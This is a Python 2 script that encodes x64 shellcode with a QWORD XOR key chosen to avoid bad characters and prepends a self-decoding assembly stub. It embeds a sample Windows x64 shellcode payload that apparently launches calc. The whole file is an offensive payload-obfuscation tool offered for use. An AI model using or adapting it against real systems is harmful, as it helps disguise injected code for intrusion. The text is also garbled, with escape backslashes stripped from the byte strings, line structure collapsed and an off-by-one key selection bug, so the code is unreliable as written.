#!/usr/bin/env python #Filename: Xor_QWORD_x64.py #coding=utf-8 import re import sys import random import struct class QWORDXorEncoder: def __init__(self): self.name = "x64 QWORD Xor Encoder" self.description = "x64 QWORD Xor shellcode encoder" self.author = "Danny__Wei" self.bad_chars = [] self.bad_keys = [[] for i in range(8)] self.good_keys = [[] for i in range(8)] self.final_keys = [] self.shellcode = "" self.encoded_shellcode = "" self.encoded_payload_length = 0 self.encoder_bad_chars = ["48", "31", "c9", "81", "e9", "8d", "05", "bb", "58", "27", "2d", "f8", "ff", "e2", "f4"] self.misc_comments = """ #This is the decoder stub "x48x31xC9" + # xor rcx, rcx "x48x81xE9" + block_count + # sub ecx, block_count "x48x8Dx05xEFxFFxFFxFF" + # lea rax, [rel 0x0] "x48xBBXXXXXXXX" + # mov rbx, 0x???????????????? "x48x31x58x27" + # xor [rax+0x27], rbx "x48x2DxF8xFFxFFxFF" + # sub rax, -8 "xE2xF4" # loop 0x1B """ def all_the_stats(self): print " [Output] Encoder Name: " + self.name string_bad_chars = '' for bchar in self.bad_chars: string_bad_chars += hex(bchar) + " " print " [Output] Bad Character(s): " + string_bad_chars print " [Output] Shellcode length: " + str(self.encoded_payload_length) j = 1; key = 0 for i in self.final_keys: key += i * j j *= 0x100 print (' [Output] Xor Key: %08X' % key) def shellcode_to_bin(self): hFile = file('Xor_x64_encoded.bin', 'wb+') hFile.write(self.encoded_shellcode) hFile.close() return def set_shellcode(self, shellcode): shellcode = shellcode.decode('string-escape') self.shellcode = bytearray(shellcode) return # This function was copied from Justin Warner (@sixdub) def set_bad_characters(self, bad_characters): final_bad_chars = [] bad_characters = bad_characters.split('x') # Do some validation on the received characters for item in bad_characters: if item == '': pass elif item in self.encoder_bad_chars: print " [Error] Encoder Error: Bad character specified is used for the decoder stub." print "[Error] Encoder Error: Please use different bad characters or another encoder!" sys.exit() else: if len(item) == 2: # Thanks rohan (@cptjesus) for providing this regex code, and making me too lazt # to do it myself rohan_re_code = re.compile('[a-f0-9]{2}',flags=re.IGNORECASE) if rohan_re_code.match(item): final_bad_chars.append(item) else: print " [Error] Bad Character Error: Invalid bad character detected." print "[Error] Bad Character Error: Please provide bad characters in \x00\x01... format." sys.exit() else: print " [Error] Bad Character Error: Invalid bad character detected." print "[Error] Bad Character Error: Please provide bad characters in \x00\x01... format." sys.exit() for x in final_bad_chars: self.bad_chars.append(int("0x"+x,16)) return def find_bad_keys(self): for key in range(0x100): for bad in self.bad_chars: char = key ^ bad for count in xrange(8): for i in xrange(count, len(self.shellcode), 8): if char == self.shellcode[i]: self.bad_keys[count].append(key) break return def find_key(self): for count in xrange(8): for key in range(0x100): if key not in self.bad_keys[count]: self.good_keys[count].append(key) for count in xrange(8): if len(self.good_keys[count]) == 0: print " [Error] Encoder Error: Can't find available keys." print "[Error] Encoder Error: Please use different bad characters or another encoder!" sys.exit() i = random.randint(0, len(self.good_keys[count])) self.final_keys.append(self.good_keys[count][i]) return def decoder_stub(self): block_count = -( ( (len(self.shellcode) - 1) / 8) + 1) str = struct.pack('<l', block_count) decoder = "x48x31xC9" + "x48x81xE9" + str + "x48x8Dx05xEFxFFxFFxFF" + "x48xBBXXXXXXXX" + "x48x31x58x27" + "x48x2DxF8xFFxFFxFF" + "xE2xF4" ''' decoder = "x48x31xC9" + # xor rcx, rcx "x48x81xE9" + block_count + # sub ecx, block_count "x48x8Dx05xEFxFFxFFxFF" + # lea rax, [rel 0x0] "x48xBBXXXXXXXX" + # mov rbx, 0x???????????????? "x48x31x58x27" + # xor [rax+0x27], rbx "x48x2DxF8xFFxFFxFF" + # sub rax, -8 "xE2xF4" # loop 0x1B ''' return decoder def do_encode(self): stub = self.decoder_stub() key = 0 str = '' for key in self.final_keys: str += struct.pack('B', key) stub = stub.replace('XXXXXXXX', str) # check out the final decoder stub for byte in bytearray(stub): if byte in self.bad_chars: print " [Error] Encoder Error: Bad character specified is used for the decoder stub." print "[Error] Encoder Error: Please use different bad characters or another encoder!" sys.exit() stub = bytearray(stub) mod = 0 byte = 0 count = 0 for byte in bytearray(self.shellcode): if count < 8: mod = count else: mod = count % 8 count += 1 enbyte = byte ^ self.final_keys[mod] stub.append(enbyte) self.encoded_shellcode = stub self.encoded_payload_length = len(stub) return def encode(self): self.find_bad_keys() self.find_key() self.do_encode() if __name__ == '__main__': shellcode = ( "xFCx48x83xE4xF0xE8xC0x00x00x00x41x51x41x50x52x51" "x56x48x31xD2x65x48x8Bx52x60x48x8Bx52x18x48x8Bx52" "x20x48x8Bx72x50x48x0FxB7x4Ax4Ax4Dx31xC9x48x31xC0" "xACx3Cx61x7Cx02x2Cx20x41xC1xC9x0Dx41x01xC1xE2xED" "x52x41x51x48x8Bx52x20x8Bx42x3Cx48x01xD0x8Bx80x88" "x00x00x00x48x85xC0x74x67x48x01xD0x50x8Bx48x18x44" "x8Bx40x20x49x01xD0xE3x56x48xFFxC9x41x8Bx34x88x48" "x01xD6x4Dx31xC9x48x31xC0xACx41xC1xC9x0Dx41x01xC1" "x38xE0x75xF1x4Cx03x4Cx24x08x45x39xD1x75xD8x58x44" "x8Bx40x24x49x01xD0x66x41x8Bx0Cx48x44x8Bx40x1Cx49" "x01xD0x41x8Bx04x88x48x01xD0x41x58x41x58x5Ex59x5A" "x41x58x41x59x41x5Ax48x83xECx20x41x52xFFxE0x58x41" "x59x5Ax48x8Bx12xE9x57xFFxFFxFFx5Dx48xBAx01x00x00" "x00x00x00x00x00x48x8Dx8Dx01x01x00x00x41xBAx31x8B" "x6Fx87xFFxD5xBBxF0xB5xA2x56x41xBAxA6x95xBDx9DxFF" "xD5x48x83xC4x28x3Cx06x7Cx0Ax80xFBxE0x75x05xBBx47" "x13x72x6Fx6Ax00x59x41x89xDAxFFxD5x63x61x6Cx63x00") shell = QWORDXorEncoder() shell.set_shellcode(shellcode) shell.set_bad_characters('x00x0a') shell.encode() shell.all_the_stats() shell.shellcode_to_bin() else: pass